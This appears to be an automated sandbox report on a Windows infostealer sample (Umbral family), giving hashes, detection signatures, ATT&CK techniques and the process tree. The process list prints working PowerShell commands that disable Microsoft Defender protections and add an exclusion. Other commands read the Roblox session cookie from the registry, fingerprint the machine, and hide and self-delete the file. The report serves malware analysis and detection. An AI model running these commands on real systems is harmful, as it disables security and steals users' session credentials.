Analysis
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max time kernel
421s -
max time network
424s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
17-10-2024 20:35
General
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Target
test.exe
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Size
227KB
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MD5
7132f3f19b959294d470c06af357e192
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SHA1
feb85b0836d9a52af2648174e4f53268ca20a309
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SHA256
aa59ece71acd81ec09202b22af8e1a9d5664412d9bc99c9aa8ea1522467cc128
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SHA512
b2dc88639c96e83a7138c361f43b52bdd62aa17af347fe46b1c007752c6c3e745e3188c6d8e89e4fcf68a506135eb94e9afa190a9b06acbd6304cc3d37ef2491
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SSDEEP
6144:eloZM9rIkd8g+EtXHkv/iD40tVZQWRJ66vSgR1EsUcb8e1myi:IoZOL+EP80tVZQWRJ66vSgR1Eu8
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/448-1-0x000001F8E7500000-0x000001F8E7540000-memory.dmp family_umbral -
pid Process 4920 powershell.exe 1124 powershell.exe 4832 powershell.exe 3712 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts test.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 26 discord.com 27 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 19 ip-api.com -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 892 cmd.exe 5068 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4700 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 5068 PING.EXE -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 3712 powershell.exe 3712 powershell.exe 4920 powershell.exe 4920 powershell.exe 1124 powershell.exe 1124 powershell.exe 4836 powershell.exe 4836 powershell.exe 4832 powershell.exe 4832 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 448 test.exe Token: SeDebugPrivilege 3712 powershell.exe Token: SeDebugPrivilege 4920 powershell.exe Token: SeDebugPrivilege 1124 powershell.exe Token: SeDebugPrivilege 4836 powershell.exe Token: SeIncreaseQuotaPrivilege 1376 wmic.exe Token: SeSecurityPrivilege 1376 wmic.exe Token: SeTakeOwnershipPrivilege 1376 wmic.exe Token: SeLoadDriverPrivilege 1376 wmic.exe Token: SeSystemProfilePrivilege 1376 wmic.exe Token: SeSystemtimePrivilege 1376 wmic.exe Token: SeProfSingleProcessPrivilege 1376 wmic.exe Token: SeIncBasePriorityPrivilege 1376 wmic.exe Token: SeCreatePagefilePrivilege 1376 wmic.exe Token: SeBackupPrivilege 1376 wmic.exe Token: SeRestorePrivilege 1376 wmic.exe Token: SeShutdownPrivilege 1376 wmic.exe Token: SeDebugPrivilege 1376 wmic.exe Token: SeSystemEnvironmentPrivilege 1376 wmic.exe Token: SeRemoteShutdownPrivilege 1376 wmic.exe Token: SeUndockPrivilege 1376 wmic.exe Token: SeManageVolumePrivilege 1376 wmic.exe Token: 33 1376 wmic.exe Token: 34 1376 wmic.exe Token: 35 1376 wmic.exe Token: 36 1376 wmic.exe Token: SeIncreaseQuotaPrivilege 1376 wmic.exe Token: SeSecurityPrivilege 1376 wmic.exe Token: SeTakeOwnershipPrivilege 1376 wmic.exe Token: SeLoadDriverPrivilege 1376 wmic.exe Token: SeSystemProfilePrivilege 1376 wmic.exe Token: SeSystemtimePrivilege 1376 wmic.exe Token: SeProfSingleProcessPrivilege 1376 wmic.exe Token: SeIncBasePriorityPrivilege 1376 wmic.exe Token: SeCreatePagefilePrivilege 1376 wmic.exe Token: SeBackupPrivilege 1376 wmic.exe Token: SeRestorePrivilege 1376 wmic.exe Token: SeShutdownPrivilege 1376 wmic.exe Token: SeDebugPrivilege 1376 wmic.exe Token: SeSystemEnvironmentPrivilege 1376 wmic.exe Token: SeRemoteShutdownPrivilege 1376 wmic.exe Token: SeUndockPrivilege 1376 wmic.exe Token: SeManageVolumePrivilege 1376 wmic.exe Token: 33 1376 wmic.exe Token: 34 1376 wmic.exe Token: 35 1376 wmic.exe Token: 36 1376 wmic.exe Token: SeIncreaseQuotaPrivilege 4040 wmic.exe Token: SeSecurityPrivilege 4040 wmic.exe Token: SeTakeOwnershipPrivilege 4040 wmic.exe Token: SeLoadDriverPrivilege 4040 wmic.exe Token: SeSystemProfilePrivilege 4040 wmic.exe Token: SeSystemtimePrivilege 4040 wmic.exe Token: SeProfSingleProcessPrivilege 4040 wmic.exe Token: SeIncBasePriorityPrivilege 4040 wmic.exe Token: SeCreatePagefilePrivilege 4040 wmic.exe Token: SeBackupPrivilege 4040 wmic.exe Token: SeRestorePrivilege 4040 wmic.exe Token: SeShutdownPrivilege 4040 wmic.exe Token: SeDebugPrivilege 4040 wmic.exe Token: SeSystemEnvironmentPrivilege 4040 wmic.exe Token: SeRemoteShutdownPrivilege 4040 wmic.exe Token: SeUndockPrivilege 4040 wmic.exe Token: SeManageVolumePrivilege 4040 wmic.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 448 wrote to memory of 2220 448 test.exe 85 PID 448 wrote to memory of 2220 448 test.exe 85 PID 448 wrote to memory of 3712 448 test.exe 87 PID 448 wrote to memory of 3712 448 test.exe 87 PID 448 wrote to memory of 4920 448 test.exe 90 PID 448 wrote to memory of 4920 448 test.exe 90 PID 448 wrote to memory of 1124 448 test.exe 92 PID 448 wrote to memory of 1124 448 test.exe 92 PID 448 wrote to memory of 4836 448 test.exe 94 PID 448 wrote to memory of 4836 448 test.exe 94 PID 448 wrote to memory of 1376 448 test.exe 96 PID 448 wrote to memory of 1376 448 test.exe 96 PID 448 wrote to memory of 4040 448 test.exe 99 PID 448 wrote to memory of 4040 448 test.exe 99 PID 448 wrote to memory of 1600 448 test.exe 103 PID 448 wrote to memory of 1600 448 test.exe 103 PID 448 wrote to memory of 4832 448 test.exe 106 PID 448 wrote to memory of 4832 448 test.exe 106 PID 448 wrote to memory of 4700 448 test.exe 109 PID 448 wrote to memory of 4700 448 test.exe 109 PID 448 wrote to memory of 892 448 test.exe 112 PID 448 wrote to memory of 892 448 test.exe 112 PID 892 wrote to memory of 5068 892 cmd.exe 114 PID 892 wrote to memory of 5068 892 cmd.exe 114 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2220 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\test.exe"C:\Users\Admin\AppData\Local\Temp\test.exe"1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:448 -
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\test.exe"2⤵
- Views/modifies file attributes
PID:2220
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\test.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3712
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4920
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1124
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4836
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1376
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4040
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:1600
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4832
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:4700
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\test.exe" && pause2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:892 -
C:\Windows\system32\PING.EXEping localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:5068
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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Filesize
948B
MD50b8cb2e6dd5794b6a56a4bdbbd430fd7
SHA12b08e348c3489c6a35761af073018e3784c12074
SHA256bcce0d44e33747e4c39df9afbd0a4e98a47ded0188375e4dfdd94cafbb366e1f
SHA51215ce3b588aa80899f69b0313c7e188d886bddbd09783ca732ac33f9ae8e4e017a72b6f98919f581383a4582732575e5faedb0dea87e01cf2b657424945fdf4d2
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Filesize
1KB
MD5276798eeb29a49dc6e199768bc9c2e71
SHA15fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA5120d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
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Filesize
1KB
MD5dcac964589fef8f1dd8c401fc212ad5c
SHA1f518a7cfe430e90f61b5180133b1bc644e7e535f
SHA256658c2ff03e1d130ea4862b82e47c240161a74c70cf3a957568f521507486692e
SHA512b9b9a9b1afe65d9cd9f8a6c243363b7a1425677845c280d5dc4b01627009e73c0cdbec7418107839e832b8f2ece675233c8b4ef4cb4436e8464fca20ceda7871
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82